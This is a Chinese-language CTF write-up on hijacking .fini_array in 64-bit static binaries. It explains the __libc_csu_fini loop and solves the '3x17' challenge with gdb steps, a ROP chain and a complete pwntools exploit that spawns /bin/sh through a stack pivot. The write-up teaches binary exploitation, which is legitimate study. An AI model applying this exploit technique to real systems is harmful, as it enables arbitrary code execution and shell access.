64位静态程序fini的劫持

robots

 

前言

在64位的静态程序当中,除了ret2syscall,碰到了静态程序的万能gadget————finifini是个什么东西呢?回想之前的main真的是函数入口吗?,在程序进入和退出都会调用函数来帮忙初始化和善后,它们分别是__libc_csu_init__libc_csu_fini,后者就是今天我们要谈论的函数。

 

原理

main真的是函数入口吗?里面exitdemo

#include<stdio.h>

int main(void)
{
     printf("welcome to exit\n");
     exit(0);
     return 1;
}
//gcc exit.c -o exit -no-pie -static

IDA打开直接定位__libc_cus_fini函数,里面有三条语句特别的关键:

.text:0000000000401910 __libc_csu_fini proc near               ; DATA XREF: _start+F↑o
.text:0000000000401910 ; __unwind {
.text:0000000000401910                 push    rbp
.text:0000000000401911                 lea     rax, __gettext_germanic_plural
.text:0000000000401918                 lea     rbp, _fini_array_0
.text:000000000040191F                 push    rbx
.text:0000000000401920                 sub     rax, rbp
.text:0000000000401923                 sar     rax, 3
.text:0000000000401927                 sub     rsp, 8
.text:000000000040192B                 test    rax, rax
.text:000000000040192E                 jz      short loc_401946
.text:0000000000401930                 lea     rbx, [rax-1]
.text:0000000000401934                 nop     dword ptr [rax+00h]
.text:0000000000401938
.text:0000000000401938 loc_401938:                             ; CODE XREF: __libc_csu_fini+34↓j
.text:0000000000401938                 call   qword ptr [rbp + rbx*8]
.text:000000000040193C                 sub     rbx, 1
.text:0000000000401940                 cmp     rbx, 0FFFFFFFFFFFFFFFFh
.text:0000000000401944                 jnz     short loc_401938
.text:0000000000401946
.text:0000000000401946 loc_401946:                             ; CODE XREF: __libc_csu_fini+1E↑j
.text:0000000000401946                 add     rsp, 8
.text:000000000040194A                 pop     rbx
.text:000000000040194B                 pop     rbp
.text:000000000040194C                 jmp     _term_proc
.text:000000000040194C ; } // starts at 401910
.text:000000000040194C __libc_csu_fini endp

注意下面三条语句,它将是我们利用的关键,通过理解__libc_csu_fini的执行流程,可以总结出它是先将_fini_array_0这个数组的地址赋值给rbp,之后通过call来调用,那它是怎么调用的呢?下面展示动调的过程。

.text:0000000000401918                 lea     rbp, _fini_array_0
.text:0000000000401938                 call   qword ptr [rbp + rbx*8]
.text:0000000000401944                 jnz     short loc_401938

__libc_csu_fini下断点,c之后步入之后来到0x401938,可以看到它正常的调用了_fini_array_0,调用返回之后会将sub rbx, 1(此前rbx的值为1),再往下就是cmp rbx, 0FFFFFFFFFFFFFFFFh,这里显然不等于,并触发跳转,程序又回到了刚刚的位置再一次call qword ptr [rbp + rbx*8],需要注意的是这次的call索引的值不同了,之后rbx1,未能触发跳转,看完动调的过程,我们总结一下它执行的流程为_fini_array[1] -> _fini_array[0]

知道了它的执行流程之后,那么怎么去利用它呢?并且_fini_array[1]_fini_array[0]里面到底存的是什么呢?我们可以objdump看一下fini_array这个数组存放的位置,再用gdb来看看fini_array里面到底存的是什么?

➜  test objdump -h ./exit 

./exit:     文件格式 elf64-x86-64

节:
Idx Name          Size      VMA               LMA               File off  Algn

 16 .fini_array   00000010  00000000006b6150  00000000006b6150  000b6150  2**3
                  CONTENTS, ALLOC, LOAD, DATA

在下图可以看到_fini_array[0] => __do_global_dtors_aux_fini_array[1] => fini, 那我们如果改_fini_array[0]是不是就能劫持控制流了?答案是肯定的!

 

劫持_fini_array[0]

修改main真的是函数入口吗?里面exitdemo为下面的代码:

#include<stdio.h>

void hack(void){
    printf("welcome to hacker world\n");

}

int main(void)
{
     printf("welcome to exit\n");
     exit(0);
     return 1;
}
//gcc exit.c -o exit -no-pie -static

还是在__libc_csu_fini下断点,修改_fini_array[0]的值为hack函数的地址,再按下c的时候,我们已经成功的打印了welcome to hacker world\n!!!这里修改的只是hack函数的地址,那如果是one_gadget或者是shellcode的地址,你应该能猜到会发生什么。

pwndbg> p hack
$2 = {<text variable, no debug info>} 0x400b6d <hack>
pwndbg> set {int}0x6b6150=0x400b6d

可遗憾的是,只有一些特定的情况才能像上面那样利用,接下来将介绍更通用的情况:

 

__libc_csu_fini的循环

既然它会循环调用,那不然就让它一直循环吧!我们将_fini_array[1]改成某个函数的地址(下面都称它为A),同时再把_fini_array[0]改成__libc_csu_fini的地址,由于它每次call_fini_array[0]都回到__libc_csu_fini函数的开头,所以ebx永远都不会等于-1,那么程序的执行流将变成下面这个样子:

__libc_csu_fini -> fini_array[1]:addrA -> fini_array[0]:__libc_csu_fini  -> fini_array[1]:addrA -> fini_array[0]:__libc_csu_fini -> fini_array[1]:addrA -> fini_array[0]:__libc_csu_fini -> .....

除非把fini_array[0]覆盖成其他的值,否则它将一直循环到天荒地老,那么这么循环到底有什么用呢?答:进行ROP攻击,我们可以在fini_array+0x10布置ROP,然后再将栈迁移到这里,最终实现我们的目的!讲的再多不如来道题目看看~

 

题目

3×17

题目链接

打开IDA就得知这是一个静态的64位的程序,下面的checksec就开了NX

➜  checksec 3x17 
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

程序去了符号,经过之前对_start函数的学习很容易知道main函数的位置,找到_start之后,__libc_start_main的第一个参数就是main函数地址:

下面就是main函数,部分函数已经通过分析加上了符号,程序的逻辑很简单,就是读入一个地址,然后再这个地址上写数据,但只可以写0x18的大小

__int64 sub_401B6D()
{
  __int64 result; // rax
  char *v1; // [rsp+8h] [rbp-28h]
  char buf[24]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  result = (unsigned __int8)++byte_4B9330;
  if ( byte_4B9330 == 1 )
  {
    sys_write(1u, "addr:", 5uLL);
    sys_read(0, buf, 0x18uLL);
    v1 = (char *)(int)sub_40EE70((__int64)buf);
    sys_write(1u, "data:", 5uLL);
    sys_read(0, v1, 0x18uLL);
    result = 0LL;
  }
  if ( __readfsqword(0x28u) != v3 )
    error();
  return result;
}

首先肯定是考虑前面说到的一种做法,修改_fini_array[0]one_gadget或者是shellcode的地址,再或者是其他可拿shell的函数,shellcode读不进去,栈地址也不能泄露,可拿shell的函数也没有,那one_gadget呢?由于程序是静态的,所以只能在程序本身里面寻找,答案很显然,没有….

➜  one_gadget 3x17 
[OneGadget] ArgumentError: File "/home/laohu/Documents/pwn/others/3x17_fini prix/3x17" doesn't contain string "/bin/sh", not glibc?

那么就是第二种做法了,让__libc_csu_fini循环起来,仔细想想如果循环的地址设置成main,会发生什么?它会使byte_4B9330疯狂加1,同时它是unsigned __int8类型的变量,疯狂加1会使它整数溢出,所以它总有加到1的时候,一旦它的值为1,我们就有了一次任意地址读的机会,这样就可以循环读入我们的ROP,每次都能读0x18的大小,按照理论来说我们就可以把ROP读到任何地方,但这里只讨论劫持fini_array,通过objdump来得到fini_array地址:

➜  objdump -h ./3x17 

./3x17:     文件格式 elf64-x86-64

节:
Idx Name          Size      VMA               LMA               File off  Algn
 15 .fini_array   00000010  00000000004b40f0  00000000004b40f0  000b30f0  2**3
                  CONTENTS, ALLOC, LOAD, DATA

写入的位置选在fini_array+0x10,那…为什么是这个位置呢?回到刚刚的写ROP,我们写入了ROP,那必然要把esp指过去,对不对?那肯定是要用到栈迁移,那写完ROP之后,再次覆盖_fini_array[1]实现栈迁移就会是下面这个场景:

(ebp = 0x4b40f0)
call   qword ptr [rbp + rbx*8] <0x401580>
     ↓
mov       rsp,rbp        ;rsp => 0x4b40f0
pop    ebp            ;rsp => 0x4b40f8
ret                ;rsp => 0x4b4100

此时,rsp的值已经到0x4b4100这个位置,那我们只要在此处布置好ROP+栈迁移,等待ret返回,就可以劫持控制流了!

write(esp,p64(pop_rax))
write(esp+8,p64(exe_call))
write(esp+16,p64(pop_rdi))
write(esp+24,p64(bin_sh_addr))
write(esp+32,p64(pop_rdx))
write(esp+40,p64(0))
write(esp+48,p64(pop_rsi))
write(esp+56,p64(0))
write(esp+64,p64(syscall))
write(bin_sh_addr,"/bin/sh\x00")
write(fini_array,p64(leave_ret))

完整exp:

#!/usr/bin/env python

from pwn import *

context.log_level = 'debug'
elf = ELF('3x17')
io = process('3x17')

fini_array = 0x4B40F0
main_addr = 0x401B6D
libc_csu_fini = 0x402960
leave_ret = 0x401C4B
exe_call = 0x3b
esp = 0x4B4100
syscall = 0x471db5
pop_rax = 0x41e4af
pop_rdx = 0x446e35
pop_rsi = 0x406c30
pop_rdi = 0x401696
bin_sh_addr = 0x4B4200

def write(addr,data):
    io.recv()
    io.send(str(addr))
    io.recv()
    io.send(data)

write(fini_array,p64(libc_csu_fini)+p64(main_addr))
write(esp,p64(pop_rax))
write(esp+8,p64(exe_call))
write(esp+16,p64(pop_rdi))
write(esp+24,p64(bin_sh_addr))
write(esp+32,p64(pop_rdx))
write(esp+40,p64(0))
write(esp+48,p64(pop_rsi))
write(esp+56,p64(0))
write(esp+64,p64(syscall))
write(bin_sh_addr,"/bin/sh\x00")
write(fini_array,p64(leave_ret))

# gdb.attach(io)
io.interactive()

 

参考链接:

https://www.freebuf.com/articles/system/226003.html

https://www.mrskye.cn/archives/2a024eda/

(完)